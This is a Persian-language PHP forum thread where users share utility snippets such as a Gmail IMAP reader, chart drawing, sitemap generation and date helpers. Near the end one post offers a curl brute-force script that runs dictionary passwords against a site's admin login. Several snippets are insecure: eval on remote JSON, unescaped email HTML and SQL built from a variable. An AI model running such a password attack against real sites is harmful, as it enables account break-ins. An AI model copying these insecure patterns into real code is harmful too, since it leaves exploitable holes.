if( $browser->getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) {
echo 'You have FireFox version 2 or greater';
}

با تشکر

MostafaEs3
سه شنبه 05 اردیبهشت 1391, 14:35 عصر
//////////

djsaeedkhan
سه شنبه 05 اردیبهشت 1391, 16:02 عصر
سعید جون اون بالایی جاوا اسکریپت بود !! :لبخند:

نه؟ کدش رو بگیرید و امتحان کنید

djsaeedkhan
سه شنبه 05 اردیبهشت 1391, 16:03 عصر
با سلام
در این نمونه سورس یه تصویر بزرگ هست که اگر نخوایم کل تصویر رو یکجا ببینیم و تکه تکه نمایش بدیم اینطور عمل می کنیم.

البته این یه روش پیشنهادی هست و ایده آقای شهرکی بوده است

MMSHFE
چهارشنبه 06 اردیبهشت 1391, 15:15 عصر
مشاهده ایمیلهای خوانده نشده GMail
با کمی تغییر میتونید مدلهای مختلفی از این کد استفاده کنید. مثلاً ایمیلهای یک روز خاص، ارسال شده ها، ایمیلهایی که بهشون جواب دادین و...


<!doctype html>
<html>
<head>
<title>Read GMail with IMAP</title>
<meta charset="utf-8"/>
<script src="jqmin.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function() {
$('div.body').slideUp('slow');
$('div.toggler').click(function() {
$(this).addClass('read').removeClass('unread');
$(this).next('div.body').slideToggle('slow');
});
});
</script>
<style type="text/css">
div.toggler {
border: 1px solid #ccc;
cursor: pointer;
padding: 10px 32px;
}
div.toggler .subject {
font-weight: bold;
}
div.read {
color: #666;
}
div.toggler .from, div.toggler .date {
font-style: italic;
font-size: 12px;
}
div.body {
border: solid thin #7f7f7f;
padding: 10px 20px;
}
</style>
</head>
<body>
<?php
/* connect to gmail */
$hostname = '{imap.gmail.com:993/imap/ssl}INBOX';
$username = 'your_account@gmail.com';
$password = 'your_password';

/* try to connect */
$inbox = imap_open($hostname, $username, $password, OP_READONLY) or die('Cannot connect to Gmail: ' . imap_last_error());

/* grab emails */
$emails = imap_search($inbox, 'UNSEEN');

/* if emails are returned, cycle through each... */
if($emails) {

/* begin output var */
$output = '';

/* for every email... */
foreach($emails as $email_number) {

/* get information specific to this email */
$overview = imap_fetch_overview($inbox, $email_number, 0);
$message = imap_utf8(imap_fetchbody($inbox, $email_number, 2));

/* output the email header information */
$output.= '<div class="toggler '.($overview[0]->seen ? 'read' : 'unread').'">'.PHP_EOL;
$output.= '<span class="subject">'.imap_utf8($overview[0]->subject).'</span>&nbsp;';
$output.= '<span class="from">'.imap_utf8($overview[0]->from).'</span>&nbsp;';
$output.= '<span class="date">on '.$overview[0]->date.'</span>';
$output.= '</div>'.PHP_EOL;

/* output the email body */
$output.= '<div class="body">'.$message.'</div>'.PHP_EOL;
}

echo $output;
}

/* close the connection */
imap_close($inbox);
?>
</body>
</html>

امیدوارم که این کد هم به دردتون بخوره.
موفق باشید.

MMSHFE
پنج شنبه 07 اردیبهشت 1391, 12:22 عصر
نمایش فهرست فایلها (شامل فایلهای با اسامی فارسی) !
شاید مشکل عدم نمایش درست اسامی فایلهای فارسی برای خیلیها دردسرساز شده باشه. این کد مشکلتون رو رفع میکنه:


$files = scandir('.');
foreach($files as $file) {
echo iconv('windows-1256', 'utf-8', $file).'<br/>'.PHP_EOL;
}

موفق باشید.

Tarragon
دوشنبه 11 اردیبهشت 1391, 10:52 صبح
این هم چک کشور با ای پی


<?
// Let me start off by saying I do not take full credit for this!
// I needed a way to get my traffic's country for Adverts...
// for some reason, json_decode wasn't working, so this is an alternative.

// json_decoder function from PHP.net
// file_get_contents_curl basic data retrieval function

// how to use:
// include('country.php');
// $userCountry=getTheCountry();
// output is 2 character country code, US, CA, etc...

function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);

return $data;
}

function json_decoder($json)
{
$comment = false;
$out = '$x=';

for ($i=0; $i<strlen($json); $i++)
{
if (!$comment)
{
if (($json[$i] == '{') || ($json[$i] == '[')) $out .= ' array(';
else if (($json[$i] == '}') || ($json[$i] == ']')) $out .= ')';
else if ($json[$i] == ':') $out .= '=>';
else $out .= $json[$i];
}
else $out .= $json[$i];
if ($json[$i] == '"' && $json[($i-1)]!="\\") $comment = !$comment;
}
eval($out . ';');
return $x;
}

function getTheCountry(){
$ipForCo=$_SERVER['REMOTE_ADDR'];
$getCo=file_get_contents_curl('http://ip2country.sourceforge.net/ip2c.php?ip='.$ipForCo.'&format=JSON');
$json_Co=json_decoder($getCo);
return $json_Co['country_code'];
}

MostafaEs3
سه شنبه 12 اردیبهشت 1391, 20:25 عصر
//////////

Tarragon
سه شنبه 12 اردیبهشت 1391, 21:27 عصر
اقا اگر تکراری بود معذرت می خوام آخه من تقریبا کل این تاپیک رو خوندم ولی این رو ندیدم شاید حواسم نبوده اگر تکراریه بازم معذرت می خوام.

MostafaEs3
چهارشنبه 13 اردیبهشت 1391, 02:13 صبح
//////////

MMSHFE
چهارشنبه 13 اردیبهشت 1391, 18:17 عصر
رسم نمودار با PHP


<?php
// Prevent direct access
if(realpath($_SERVER['SCRIPT_FILENAME']) == realpath(__FILE__)) {
header('location: index.php');
exit();
}
function chart(
$title = NULL,
$values = NULL,
$filename = NULL,
$width = NULL,
$height = NULL,
$min = NULL,
$max = NULL,
$scale = NULL,
$showvalues = NULL,
$fontsize = NULL,
$fontcolor = NULL,
$backcolor = NULL,
$fillcolor = NULL,
$linecolor = NULL,
$dotscolor = NULL,
$gridcolor = NULL,
$textcolor = NULL
) {
// Default configuration
if(is_null($title)) { $title = 'Chart'; }
if(is_null($values)) { $values = array(); }
if(is_null($filename)) { $filename = 'chart.png'; }
if(is_null($width)) { $width = 640; }
if(is_null($height)) { $height = 480; }
if(is_null($min)) { $min = 0; }
if(is_null($max)) { $max = 100; }
if(is_null($scale)) { $scale = 25; }
if(is_null($showvalues)) { $showvalues = true; }
if(is_null($fontsize)) { $fontsize = 10; }
if(is_null($fontcolor)) { $fontcolor = array(127, 0, 0); }
if(is_null($backcolor)) { $backcolor = array(255, 255, 255); }
if(is_null($fillcolor)) { $fillcolor = array(191, 191, 191); }
if(is_null($linecolor)) { $linecolor = array( 0, 0, 0); }
if(is_null($dotscolor)) { $dotscolor = array( 0, 127, 0); }
if(is_null($gridcolor)) { $gridcolor = array(127, 127, 127); }
if(is_null($textcolor)) { $textcolor = array( 0, 0, 127); }
// Internal configuration
$chart_bottom = floor($height * 0.85);
$chart_left = floor($width * 0.15);
$chart_right = floor($width * 0.95);
$chart_top = floor($height * 0.05);
$cx = floor($width / 2 );
$cy = floor($height / 2 );
$scale_x = floor(($chart_right - $chart_left) / (count($values) + 1));
$scale_y = floor(($chart_bottom - $chart_top) / (($max - $min) / $scale));
$font_regular = 'tahoma.ttf';
$font_bold = 'tahoma_bold.ttf';
$keys = array_keys($values);
$count = count($keys);
// Main function
$result = true;
$im = @imagecreatetruecolor($width, $height);
if($im !== false) {
$back = imagecolorallocate($im, $backcolor[0], $backcolor[1], $backcolor[2]);
$dots = imagecolorallocate($im, $dotscolor[0], $dotscolor[1], $dotscolor[2]);
$fill = imagecolorallocate($im, $fillcolor[0], $fillcolor[1], $fillcolor[2]);
$font = imagecolorallocate($im, $fontcolor[0], $fontcolor[1], $fontcolor[2]);
$grid = imagecolorallocate($im, $gridcolor[0], $gridcolor[1], $gridcolor[2]);
$line = imagecolorallocate($im, $linecolor[0], $linecolor[1], $linecolor[2]);
$text = imagecolorallocate($im, $textcolor[0], $textcolor[1], $textcolor[2]);
// Fill with background color
imagefill($im, $cx, $cy, $back);
// Draw internal space of chart
imagerectangle($im, $chart_left, $chart_top, $chart_right, $chart_bottom, $line);
imagefill($im, $cx, $cy, $fill);
// Draw horizontal grid lines
for($i = $chart_bottom - $scale_y; $i > $chart_top; $i -= $scale_y) {
imageline($im, $chart_left, $i, $chart_right, $i, $grid);
}
// Draw vertical grid lines
for($i = $chart_left + $scale_x; $i < $chart_right; $i += $scale_x) {
imageline($im, $i, $chart_bottom, $i, $chart_top, $grid);
}
// Draw dots and/or write values
for($i = 0, $j = $chart_left + $scale_x; $i < $count && $j <= $chart_right; $i++, $j += $scale_x) {
$cy = $chart_bottom;
$y = $min;
while($y < $values[$keys[$i]]) {
$y++;
$cy -= $scale_y / $scale;
}
imagefilledarc($im, $j, $cy, $scale, $scale, 0, 360, $dots, IMG_ARC_PIE);
imagearc($im, $j, $cy, $scale, $scale, 0, 360, $line);
if($showvalues) {
$box = imagettfbbox($fontsize, 0, $font_bold, $values[$keys[$i]]);
imagettftext($im, $fontsize, 0, $j - $box[4] / 2, $cy - $box[5] / 2, $font, $font_bold, $values[$keys[$i]]);
}
}
// Write X-axis labels
for($i = 0, $j = $chart_left + $scale_x; $i < $count && $j <= $chart_right; $i++, $j += $scale_x) {
$box = imagettfbbox($fontsize, 0, $font_regular, $keys[$i]);
imagettftext($im, $fontsize, 0, $j - $box[4] / 2, $chart_bottom + 15, $font, $font_regular, $keys[$i]);
}
// Write Y-axis labels
for($i = $min, $j = $chart_bottom; $i <= $max, $j >= $chart_top; $i += $scale, $j -= $scale_y) {
$box = imagettfbbox($fontsize, 0, $font_regular, $i);
imagettftext($im, $fontsize, 0, $chart_left - $box[4] - 15, $j - $box[5] / 2, $font, $font_regular, $i);
}
// Write title
$box = imagettfbbox($fontsize * 2, 0, $font_bold, $title);
imagettftext($im, $fontsize * 2, 0, ($width - $box[4]) / 2, $chart_bottom - ($box[5] / 2) + ($height - $chart_bottom) / 2, $text, $font_bold, $title);
// Output the chart image
if(!imagepng($im, $filename, 9)) {
$result = false;
}
imagedestroy($im);
}
return $result;
}
?>

مثالی از کاربرد:


<!doctype html>
<html>
<head>
<title>Chart DEMO</title>
<meta charset="utf-8"/>
</head>
<body>
<?php
require_once 'chart.php';
$title = 'My Chart';
$values = array('ASP' => -25, 'JSP' => 15, 'ASP.NET' => 50, 'PHP' => 100);
$filename = 'MyChart.png';
if(chart($title, $values, $filename, NULL, NULL, -50, 125, 25, true, 10)) {
echo '<img border="10px" src="'.$filename.'"/><br/>'.PHP_EOL;
}
?>
</body>
</html>
نمونه خروجی:
86615
امیدوارم این هم به درد بخوره. موفق باشید.

MostafaEs3
چهارشنبه 13 اردیبهشت 1391, 19:59 عصر
//////////

MMSHFE
پنج شنبه 14 اردیبهشت 1391, 08:13 صبح
ممنون. دارم روی نمونه های دیگه هم کار میکنم. مثل نمودار ستونی، نمودار دایره ای و... که کلاً یک کلاس میشه و با کمک متدهای مختلفش میشه نمودارهای متفاوتی تهیه کرد. البته خداییش کار راحتی نیست. همین نمونه که گذاشتم 2 ساعت تمام وقت برد!

MostafaEs3
پنج شنبه 14 اردیبهشت 1391, 17:02 عصر
//////////

MMSHFE
پنج شنبه 14 اردیبهشت 1391, 18:00 عصر
قطعاً کمک مفیدی خواهد بود. البته به شرطی که بتونم از کدش سر در بیارم!

MostafaEs3
پنج شنبه 14 اردیبهشت 1391, 18:05 عصر
//////////

rezakho
شنبه 16 اردیبهشت 1391, 22:31 عصر
سلام
برادران، می تونید چارت های بسیار عالی رو همراه انیمیت با Hightchart درست کنید، ببینید

http://www.highcharts.com/demo/pie-basic

با بیش از 30 مدل نمودار.

MMSHFE
یک شنبه 17 اردیبهشت 1391, 12:26 عصر
ممنون بابت لینک مفیدی که گذاشتین ولی هدف ما اینجا کدهای PHP هست و Hicharts با JS کار شده.

MostafaEs3
پنج شنبه 21 اردیبهشت 1391, 14:35 عصر
//////////

MostafaEs3
پنج شنبه 21 اردیبهشت 1391, 14:39 عصر
//////////

MMSHFE
جمعه 29 اردیبهشت 1391, 17:07 عصر
تولید نقشه سایت (Site Map) :


<?php
// Please edit these values before running your script.
// The Url of the site - the last '/' is needed
$url = 'http://localhost/mycms/';
// Where the root of the site is with relation to this file.
$root_dir = '../mycms';
// Allowed extensions to consider in sitemap
$extensions = array(
'htm',
'html',
'php'
);
// Stuff to be ignored...
// Ignore the file/folder if these words appear anywhere in the name
$always_ignore = array(
'.inc',
'admin',
'image'
);
//These files will not be linked in the sitemap.
$ignore_files = array(
'404.php',
'error.php',
'config.php',
'include.inc'
);
//The script will not enter these folders
$ignore_dirs = array(
'.svn',
'admin',
'css',
'cvs',
'images',
'inc',
'includes',
'js',
'lib',
'stats',
'styles',
'system',
'uploads'
);
// Stop editing now - Configurations are over !

// This function extracts pages
function getPages($currentDir) {
global $url, $extensions, $always_ignore, $ignore_files, $ignore_dirs, $root_dir;
$pages = array();
chdir($currentDir);
$ext = '{';
foreach($extensions as $extension) {
$ext .= '*.'.$extension.',';
}
$ext = substr($ext, 0, -1);
$ext .= '}';
$files = glob($ext, GLOB_BRACE);
foreach($files as $file) {
$flag = true;
if(in_array($file, $ignore_files)) {
$flag = false;
}
else {
foreach($always_ignore as $ignore) {
if(strpos($file, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$pages[] = $url.($currentDir != $root_dir ? $currentDir.'/' : '').$file;
}
}
$dirs = glob('{*,*.*}', GLOB_BRACE | GLOB_ONLYDIR);
foreach($dirs as $dir) {
$flag = true;
if(in_array($dir, $ignore_dirs)) {
$flag = false;
}
else {
foreach($always_ignore as $ignore) {
if(strpos($dir, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$pages = array_merge($pages, getPages(preg_replace('#\\\\#', '/', $dir)));
chdir('..');
}
}
return $pages;
}
function generateSiteMap() {
global $root_dir;
$currentDir = getcwd();
$all_pages = getPages($root_dir);
chdir($currentDir);
$output = '';
$output .= '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL;
$output .= '<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">'.PHP_EOL;
//Process the files
foreach ($all_pages as $link) {
//Find the modified time.
if(preg_match('#index\.\w{3,4}$#', $link)) {
$link = preg_replace('#index\.\w{3,4}$#', '', $link);
}
$output .= ' <url>'.PHP_EOL;
$output .= ' <loc>'.htmlentities($link).'</loc>'.PHP_EOL;
$output .= ' </url>'.PHP_EOL;
}
$output .= '</urlset>'.PHP_EOL;
return $output;
}

$currentDir = preg_replace('#\\\\#', '/', getcwd());
header('Content-Type: text/xml');
echo generateSiteMap();
chdir($currentDir);
?>

MostafaEs3
جمعه 29 اردیبهشت 1391, 18:56 عصر
//////////

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:13 عصر
Copy a remote file to your site

FUNCTION copy_file($url,$filename){

$file = FOPEN ($url, "rb");

IF (!$file) RETURN FALSE; ELSE {
$fc = FOPEN($filename, "wb");

WHILE (!FEOF ($file)) {
$line = FREAD ($file, 1028);
FWRITE($fc,$line);
}

FCLOSE($fc);
RETURN TRUE;
}
}

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:14 عصر
Copy File From Server

<?PHP

$inputfile = FOPEN("http://the-remote-server.com/inputfile.txt", "r");
$outputfile = FOPEN("outputfile.txt", "w");
ECHO "File opened...";
$data = '';

WHILE (!FEOF($inputfile)) {
$data .= FREAD($inputfile, 8192);
}

ECHO "Data read...";
FWRITE($outputfile, $data);
ECHO "transfered data";
FCLOSE ($inputfile);
FCLOSE ($outputfile);

ECHO "Done.";

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:14 عصر
Create Basic PDF

<?PHP

$cpdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);
cpdf_add_outline($cpdf, 0, 0, 0, 1, "Page 1");
cpdf_begin_text($cpdf);
cpdf_set_font($cpdf, "Times-Roman", 30, "WinAnsiEncoding");
cpdf_set_text_rendering($cpdf, 1);
cpdf_text($cpdf, "Times Roman outlined", 50, 750);
cpdf_end_text($cpdf);
cpdf_moveto($cpdf, 50, 740);
cpdf_lineto($cpdf, 330, 740);
cpdf_stroke($cpdf);
cpdf_finalize($cpdf);
HEADER("Content-type: application/pdf");
cpdf_output_buffer($cpdf);
cpdf_close($cpdf);

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:15 عصر
Create a drop down menu from an array list

<?PHP

// array contents array 1, value
$ddArray1 = ARRAY('Red','Green','Blue','Orange');

// array contents array 2, key => value
$ddArray2 = ARRAY('r'=>'Red','b'=>'Blue','g'=>'Green','o'=>'Orange');

// Values from array 1
PRINT '<select name="Words">';

// for each value of the array assign a variable name word
FOREACH($ddArray1 AS $word){
PRINT '<option value="'.$word.'">'.$word.'</option>';
}
PRINT '</select>';

//Values from array 2
PRINT '<select name="Words">';

// for each key of the array assign a variable name $let
// for each value of the array assign a variable name $word

FOREACH($ddArray2 AS $let=>$word){
PRINT '<option value="'.$let.'">'.$word.'</option>';
}
PRINT '</select>';

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:25 عصر
GD barchart demo

<?PHP

// bars.php3 - Bar chart on gif image
// Note: uses the gd library
// This code will display a bar chart based on random values
// Different colors are used to display bars and a gif images
// is used for the background. Use the following link to include
// the example into your web-site
// <img src="./bars.php3" border="0">
//
// The background image can be found at

HEADER( "Content-type: image/gif");
HEADER( "Expires: Mon, 17 Aug 1998 12:51:50 GMT");

$im = imagecreatefromgif( "gradient.gif");

// Allocate colors
$red=ImageColorAllocate($im,255,0,0);
$green=ImageColorAllocate($im,0,255,0);
$blue=ImageColorAllocate($im,0,0,255);
$yellow=ImageColorAllocate($im,255,255,0);
$cyan=ImageColorAllocate($im,0,255,255);

// Determine size of image
$x=imagesx($im);
$y=imagesy($im);

// Initialize random number generator
SRAND(MKTIME());

// Create some bars
$v=RAND(); $v=$v/32768*200;
ImageFilledRectangle($im,10,200-$v,60,200,$red);
$v=RAND(); $v=$v/32768*200;
ImageFilledRectangle($im,70,200-$v,120,200,$green);
$v=RAND(); $v=$v/32768*200;
ImageFilledRectangle($im,130,200-$v,180,200,$blue);
$v=RAND(); $v=$v/32768*200;
ImageFilledRectangle($im,190,200-$v,240,200,$yellow);
$v=RAND(); $v=$v/32768*200;
ImageFilledRectangle($im,250,200-$v,300,200,$cyan);

// Display modified image
ImageGif($im);
// Release allocated ressources
ImageDestroy($im);
?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:41 عصر
Find days between dates #1

<?PHP

$dt=ARRAY("27.01.1985","12.09.2008");
$dates=ARRAY();
$i=0;
WHILE(STRTOTIME($dt[1])>=STRTOTIME("+".$i." day",STRTOTIME($dt[0])))
$dates[]=DATE("Y-m-d",STRTOTIME("+".$i++." day",STRTOTIME($dt[0])));

FOREACH($dates AS $value) ECHO $value."<br />";

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:46 عصر
Graphical tree like Explorer

<?PHP

/*
Here are the database definitions used in this code.
It should be fairly east to adapt it to another database.
*/

/*
CREATE TABLE dirent_types (
id INTEGER NOT NULL,
icon VARCHAR(50),
name VARCHAR(50),
PRIMARY KEY(id)
);

INSERT INTO dirent_types VALUES(1, 'folderclosed', 'Directory');
INSERT INTO dirent_types VALUES(2, 'document', 'File');

CREATE TABLE directory (
id INTEGER NOT NULL,
parent INTEGER REFERENCES directory(id),
name VARCHAR(200),
icon VARCHAR(50),
type INTEGER REFERENCES dirent_types(id),
url VARCHAR(200),
PRIMARY KEY(id)
);

DROP INDEX directory_idx;

CREATE UNIQUE INDEX directory_idx ON directory(parent, name);

CREATE SEQUENCE dirent_id;

"CREATE PROCEDURE insert_dir_entry
(name VARCHAR, parent INTEGER, type INTEGER)
RETURNS(id INTEGER)
BEGIN
EXEC SQL WHENEVER SQLERROR ABORT;
EXEC SEQUENCE dirent_id.NEXT INTO id;
EXEC SQL PREPARE c_insert
INSERT INTO directory
(id, parent, type, name)
VALUES(?, ?, ?, ?);
EXEC SQL EXECUTE c_insert USING (id, parent, type, name);
EXEC SQL DROP c_insert;
END";

CALL insert_dir_entry('My Computer', NULL, 1);
CALL insert_dir_entry('Network Neighbourhood', NULL, 1);
CALL insert_dir_entry('lucifer.guardian.no', 2, 1);
CALL insert_dir_entry('rafael.guardian.no', 2, 1);
CALL insert_dir_entry('uriel.guardian.no', 2, 1);
CALL insert_dir_entry('Control Panel', NULL, 1);
CALL insert_dir_entry('Services', 6, 1);
CALL insert_dir_entry('Apache', 7, 2);
CALL insert_dir_entry('Solid Server 2.2', 7, 2);

*/

FUNCTION icon($icon, $name = '', $width = 0, $height = 0) {
GLOBAL $DOCUMENT_ROOT;
$icon_loc = '/pics/menu';
$file = "$DOCUMENT_ROOT$icon_loc/$icon.gif";
IF (!$width || !$height) {
$iconinfo = GETIMAGESIZE($file);
IF (!$width) {
$width = $iconinfo[0];
}
IF (!$height) {
$height = $iconinfo[1];
}
}
PRINTF( '<img%s border=0 align=top src="/pics/menu/%s.gif" '.
'width="%d" height="%d">', $name ? " name=\"$name\"" : '',
$icon, $width, $height);
}

/*
* Displays, recursively, the contents of a tree given a starting
* point.
*
* Parameters:
* $parent - the parent node (not listed in the directory). Node
* 0 is the root node.
*
* $maxdepth (optional) - maximum number of recursion levels. -1
* (the default value) means no limits.
*
* $ancestors (optional) - an array of the ancestor nodes in the
* current branch of the tree, with the node closest to the
* top at index 0.
*
* Global variables used:
* $child_nodes
* $node_data
* $last_child
*
* Global variables modified:
* The array pointers in $child_nodes will be modified.
*/
FUNCTION display_directory($parent, $showdepth = 0, $ancestors = FALSE) {
GLOBAL $child_nodes, $node_data, $last_child;
RESET($child_nodes[$parent]);
$size = SIZEOF($child_nodes[$parent]);
$lastindex = $size - 1;
IF (!$ancestors) {
$ancestors = ARRAY();
}
$depth = SIZEOF($ancestors);
PRINTF( '<div id="node_%d" class="dirEntry" visibility="%s">',
$parent, $showdepth > 0 ? 'show' : 'hide');
WHILE (LIST($index, $node) = EACH($child_nodes[$parent])) {
/*
For each of the uptree nodes:
If an uptree node is not the last one on its depth
of the branch, there should be a line instead of a blank
before this node's icon.
*/
FOR ($i = 0; $i < $depth; $i++) {
$up_parent = (int)$node_data[$ancestors[$i]][ 'parent'];
$last_node_on_generation = $last_child[$up_parent];
$uptree_node_on_generation = $ancestors[$i];
IF ($last_node_on_generation == $uptree_node_on_generation) {
icon( "blank");
} ELSE {
icon( "line");
}
}
IF ($child_nodes[$node]) { // has children, i.e. it is a folder
$conn_icon = "plus";
$expand = TRUE;
} ELSE {
$conn_icon = "join";
$expand = FALSE;
}
IF ($index == $lastindex) {
$conn_icon .= "bottom";
} ELSEIF ($depth == 0 && $index == 0) {
$conn_icon .= "top";
}
IF ($expand) {
PRINTF( "<a href=\"javascript:document.layers['node_%d'].visibility='show'\">", $node);
}
icon($conn_icon, "connImg_$node");
IF ($expand) {
PRINT( "</a>");
}
$icon = $node_data[$node][ 'icon'];
IF (!$icon) {
$type = $node_data[$node][ 'type'];
$icon = $GLOBALS[ 'dirent_icons'][$type];
}
icon($icon, "nodeImg_$node");
$name = $node_data[$node][ 'name'];
PRINTF( '?<font size="%d">%s</font><br%c>', -1, $name, 10);
IF ($child_nodes[$node]) {
$newdepth = $showdepth;
IF ($newdepth > 0) {
$newdepth--;
}
$new_ancestors = $ancestors;
$new_ancestors[] = $node;
display_directory($node, $newdepth, $new_ancestors);
}
}
PRINT( "</div\n>");
}
FUNCTION setup_directory($parent, $maxdepth)
{
GLOBAL $dirent_icons, $child_nodes, $node_data, $last_child;
$dirent_icons = sql_assoc( 'SELECT id,icon FROM dirent_types');
$query = 'SELECT id,parent,type,icon,name '.
'FROM directory '.
'ORDER BY parent,name';
$child_nodes = ARRAY();
$node_data = ARRAY();
$res = sql($query);
WHILE (LIST($id, $parent, $type, $icon, $name) = db_fetch_row($res)) {
$child_nodes[(int)$parent][] = $id;
$node_data[$id] = ARRAY( 'id' => $id,
'parent' => $parent,
'type' => $type,
'icon' => $icon,
'name' => $name);
$last_child[(int)$parent] = $id;
}
}
?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:47 عصر
Handy SORT BY box+No SQL INjection

<?PHP

$selected = ARRAY();

$orderby = $_GET[orderby];
IF(!$orderby) { $orderby = 'price_asc'; }

IF($orderby == 'price_asc')
{
$orderby_query = "order by price asc";
}
ELSE IF($orderby == 'price_desc')
{
$orderby_query = "order by price desc";
}
ELSE IF($orderby == 'name')
{
$orderby_query = "order by name";
}
ELSE { UNSET($orderby); }

// If $orderby was valid set the selected sort option for the form.

IF($orderby)
{
$selected[$orderby] = 'selected';
}

// Now run your SQL query with the $orderby_query variable. Ex:

$query = "select * from products $orderby_query";

// SQL code goes here..

?>

Sort by
<form method=get style="display: inline;" name='orderby_form'>
<input type=hidden name='param1' value="<?PHP PRINT $param1; ?>">
<input type=hidden name='param2' value="<?PHP PRINT $param2; ?>">
<select name=orderby onChange="orderby_form.submit();">
<option value='name' <?PHP PRINT $selected[$orderby]; ?>>Name</option>
<option value='price_asc' <?PHP PRINT $selected[$orderby]; ?>>Price (Low - High)</option>
<option value='price_desc' <?PHP PRINT $selected[$orderby]; ?>>Price (High - Low)</option>
</select>
</form>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:48 عصر
How many days ago

<?PHP

// convert a date into a string that tells how long
// ago that date was.... eg: 2 days ago, 3 minutes ago.
FUNCTION ago($d) {
$c = GETDATE();
$p = ARRAY('year', 'mon', 'mday', 'hours', 'minutes', 'seconds');
$display = ARRAY('year', 'month', 'day', 'hour', 'minute', 'second');
$factor = ARRAY(0, 12, 30, 24, 60, 60);
$d = datetoarr($d);
FOR ($w = 0; $w < 6; $w++) {
IF ($w > 0) {
$c[$p[$w]] += $c[$p[$w-1]] * $factor[$w];
$d[$p[$w]] += $d[$p[$w-1]] * $factor[$w];
}
IF ($c[$p[$w]] - $d[$p[$w]] > 1) {
RETURN ($c[$p[$w]] - $d[$p[$w]]).' '.$display[$w].'s ago';
}
}
RETURN '';
}

// you can replace this if need be. This converts the dates
// returned from a mysql date string into an array object similar
// to that returned by getdate().
FUNCTION datetoarr($d) {
PREG_MATCH("/([0-9]{4})(\\-)([0-9]{2})(\\-)([0-9]{2}) ([0-9]{2})(\\:)([0-9]{2})(\\:)([0-9]{2})/", $d, $matches);
RETURN ARRAY(
'seconds' => $matches[10],
'minutes' => $matches[8],
'hours' => $matches[6],
'mday' => $matches[5],
'mon' => $matches[3],
'year' => $matches[1],
);
}

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:49 عصر
Output as Word Doc format

<?PHP

$query = "SELECT * FROM TABLE WHERE data = '$data'";

$result = MYSQL_QUERY($query);
$count = MYSQL_NUM_FIELDS($result);

FOR ($i = 0; $i < $count; $i++){
IF (ISSET($header))
$header .= MYSQL_FIELD_NAME($result, $i)."\t";
ELSE
$header = MYSQL_FIELD_NAME($result, $i)."\t";
}

WHILE ($row = MYSQL_FETCH_ROW($result)){
$line = '';

FOREACH ($row AS $value)
{
IF (!ISSET($value) || $value == '')
$value = "\t";
ELSE
{
$value = STR_REPLACE('"', '""', $value);
$value = '"'.$value.'"'."\t";
}

$line .= $value;
}

IF (ISSET($data))
$data .= TRIM($line)."\n";
ELSE
$data = TRIM($line)."\n";
}

$data = STR_REPLACE("\r", "", $data);

IF ($data == '')
$data = "\nno matching records\n";

HEADER("Content-Type: application/vnd.ms-word; name='word'");
HEADER("Content-type: application/octet-stream");
HEADER("Content-Disposition: attachment; filename=filename_here.doc");
HEADER("Cache-Control: must-revalidate, post-check=0, pre-check=0");
HEADER("Pragma: no-cache");
HEADER("Expires: 0");

ECHO $header."\n".$data;
EXIT;

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 13:50 عصر
Perfect Highlighting Function

<?PHP

// highlight words in a string
FUNCTION highlight($text, $search) {
$text = PREG_REPLACE( "/(^|\s|,!|;)(".PREG_QUOTE($search, "/").")(\s|,|!|&|$)/i", "\\1<span class='hlstyle'>\\2</span>\\3", $text );
RETURN $text;
}

?>

djsaeedkhan
پنج شنبه 04 خرداد 1391, 18:05 عصر
تابع preg برای حروف فارسی


<?php
preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", 'سعید');
?>

MostafaEs3
شنبه 13 خرداد 1391, 22:38 عصر
//////////

رضا قربانی
پنج شنبه 18 خرداد 1391, 00:29 صبح
این یه نمونه بروت فورس برای پسورد هست:
یک جورایی حدث پسورد و نفوذ به ادمین.
brute force



$fh = fopen("dic1.txt", "r");
while(!feof($fh)) {
$curl = curl_init();
$pass = fgets($fh,1024);
$data = fread($fh, filesize('dic1.txt'));

curl_setopt($curl, CURLOPT_URL,"http://www.domain.com/admin.php");
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "Uname=admin&Pword=$pass&Submit=True");

curl_exec ($curl);
curl_close ($curl);


$result = eregi("Incorrect", $data);
if ( $result == 0 ) {
echo "$pass is the password!";
break;
fclose($fh);
}
}



در این قسمت شما باید متغیر هایی که در متد GET استفاده میشه رو قرار بدید...

"Uname=admin&Pword=$pass&Submit=True"

بجای Uname و Pword کلماتی که در مرورگر سایت برای این مورد استفاده میشه...

این یه کد اولیه هست که باید طبق نیازت کاستوم کنید


=======
پ ن : لطفا در مورد کدهایی که میذارید یک توضیح کوچیکی بدید از کارش

MostafaEs3
پنج شنبه 18 خرداد 1391, 16:52 عصر
//////////

Tarragon
شنبه 03 تیر 1391, 13:14 عصر
سلام.
مي دونم بايد يه تاپيك جداگانه بزنم اما گفتم اگر اينجا باشه شايد بدرد ديگران هم بخوره و بيشتر ديده بشه.
من يه فانكشن مي خوام كه كه بهش يه عبارت بديم و اون رو انكد كنه و همچنين يه فانكشن كه بتونه ديكد كنه.

MMSHFE
سه شنبه 06 تیر 1391, 13:41 عصر
